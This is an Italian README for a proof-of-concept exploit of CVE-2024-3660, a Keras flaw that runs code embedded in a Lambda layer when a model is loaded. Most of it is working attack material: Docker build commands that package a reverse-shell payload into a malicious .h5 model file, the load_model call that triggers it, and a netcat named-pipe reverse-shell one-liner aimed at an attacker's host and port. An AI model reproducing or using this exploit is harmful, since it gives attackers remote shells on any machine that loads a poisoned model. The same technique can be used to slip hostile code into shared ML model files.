
A PoC per CVE-2024-3660. Esecuzione di codice arbitrario in Keras.
CVE-2024-3660 è una vulnerabilità di esecuzione di codice arbitrario nel framework Keras di TensorFlow che interessa le versioni < 2.13.
Consente a un attaccante di incorporare codice Python all'interno di un modello (ad es., tramite un layer Lambda) che viene eseguito automaticamente al caricamento del modello.
Quando un file di modello .h5 malintenzionato viene caricato in un ambiente vulnerabile, i comandi arbitrari vengono eseguiti con gli stessi permessi del processo di caricamento.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
o in versioni precedenti di TensorFlow dove safe_mode non è abilitato per impostazione predefinita.
## Descrizione del PoC
Questo PoC utilizza una build basata su Docker per generare un modello hack.h5 malintenzionato contenente un payload di reverse shell.
Quando il modello viene caricato in una versione vulnerabile di TensorFlow, si connette di nuovo alla macchina dell'attaccante.
# Utilizzo
## 1. Build ed Estrazione del Modello Malintenzionato
```bash
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f